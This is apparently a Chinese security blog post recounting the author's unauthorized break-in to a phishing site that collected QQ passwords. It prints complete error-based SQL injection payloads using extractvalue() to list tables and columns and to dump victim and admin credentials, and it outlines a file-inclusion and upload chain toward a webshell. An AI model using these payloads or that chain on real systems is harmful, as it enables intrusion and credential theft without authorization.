扫码领资料
获网安教程
免费&进群
在一个风和日丽的下午,突然在我们专业群里面有位同学发来一个二维码要收集信息,说需要微信扫描后填写信息
像这种二维码,这种介绍,一眼就看出它不是好东西。闲的没事干的我,就准备爆入它,刚好给我这小白练练手。果不其然。这种假页面,就是不法分子用来收集信息的,而且除了能输入外,底下的忘记密码和注册新账号根本点不动。啊,太假了。不知道害了多少人。
这里我直接用了一个信息收集网站,输入域名后自动收集,用nmap扫了扫。信息收集网站:http://finger.tidesec.com/
操作系统:Linux(操作系统也可以直接将域名中随便一个字母改变大小写看网站反应,linux大小写敏感会报错,windows不敏感)
中间件:nginx
后端语言:php
ip:45.xxx.xxx.xxx(美国)
开放端口:21/tcp open ftp
80/tcp open http
888/tcp open accessbuilder
域名注册人邮箱:[email protected](搜了一下是贵州的,今年19岁)
目录扫描:2.rar(我下载下来是源码泄露了,先不管这个,黑盒测试一波)
看见这输入框我就想注入,先不管其他的,试试再说。浏览器开启的代理,准备用burp拦截,但是burp还没有反应,浏览器这边提示必须输入数字。由此判断是前端限制。
这里可以直接浏览器f12删除type=”number”绕过前端限制。接下来burp拦截。
网站直接报错,反应头还提示为什么错,直接暴露表和字段,可能debug没关。
直接报错注入,用extractvalue()
(1)条件1:secure_file_priv无限制
(2)条件2:目录权限可读
(3)限制:extractvalue()函数最多读取32个字符
payload:’and(select extractvalue(1,concat(0x7e,(select database()))))直接拼接在u后面,数据库是w01
访问url/2.rar下载压缩包,解压发现是网站源码
发现w1是网站后台需要账户密码
接下来就好办多了
数据库版本是5.6.50(information_schema保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表(mysql 5.0以上有),5.0以下只能通过爆破猜表名字段)
查数据库名:u=’and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:u=’and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:u=’and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=”TABLE_NAME”))))
爆数据:u=’and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
因为之前回应头注释已经暴露了表名和字段,也可以直接查。这就是他们收集的QQ号密码了(因为extractvalue()函数最多读取32个字符可以使用limit在后面限制输出,第一个数字代表从第几行数据输出,第二个数字代表输出几行数据)
payload:u=’and(select extractvalue(3,concat(0x7e,(select user_name from cc_users limit 0,1 ))))#
爆相应的密码
payload:u=’and(select extractvalue(3,concat(0x7e,(select user_psw from cc_users limit 0,1 ))))#
当然,通过源码泄露我直接收集了所有表名
回到我们的源码,后台登录的地方,直接代码审计,发现后台账户密码在cc_admins这张表里面
报错注入把所有字段都爆出来
payload:u=’and(select extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=”cc_admins” limit 0,1))))#(改变0到7,爆出8个字段)
报错注入把对应字段的数据爆出来
payload:u=’and(select extractvalue(1,concat(0x7e,(select f_userName from cc_admins limit 0,1))))#(改变字段值)
f_id, f_userPwd(e19d5cd5af0378da05f63f891c7467a), f_userName(admin),f_groupid(1), f_status(1), f_tag(100),f_psw(abcd1234),f_reg_time(1533386669)
用sqlmap跑不动,我也不知道为啥,只能手动注入了
账号:admin 密码:abcd1234。成功进入后台,后台记录着受骗者的QQ和密码还有其他重要信息。
这里报错得到了网站绝对路径,但是mysql不是root权限,没办法插入一句话木马得到webshell
通过审计代码发现有一个备份王,在网上搜索相关漏洞没找出来
但是发现在/config/sbak/phomebak.php这个文件中发现$mypath可控,跟进代码
这个Ebak_BakExe函数没有对mypath做任何过滤处理就包含了,想到了%00截断后面路径,这样上传带木马的图片就可以利用这个文件包含漏洞,但是前提是先能找到这个备份王的账号密码,没有办法直接跳过登录,访问这个页面。
就在我正要进行下一步的时候,他跑路了……………..
后台有一个可以上传文件的地方,但是我没有看出来有什么漏洞。
入一半突然没了。先是通过信息收集,网站源码泄露下载到源码,发现网站后台路径。然后通过网站收集qq密码的页面发现了报错注入,由此得到了后台账号和密码,进入后台。通过源码审计发现”备份王“的文件包含漏洞,接下来准备再通过注入得到”备份王“的账号和密码,然后就可以利用这个漏洞,再在后台尝试文件上传漏洞,如果可以。两个洞配合拿到websell。可惜啊!他跑路了。无了。
我也不知道他收集qq和密码有什么目的,现在登录qq都需要手机端验证,有可能撞库其他什么平台密码。
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
巧用FOFA挖到你的第一个漏洞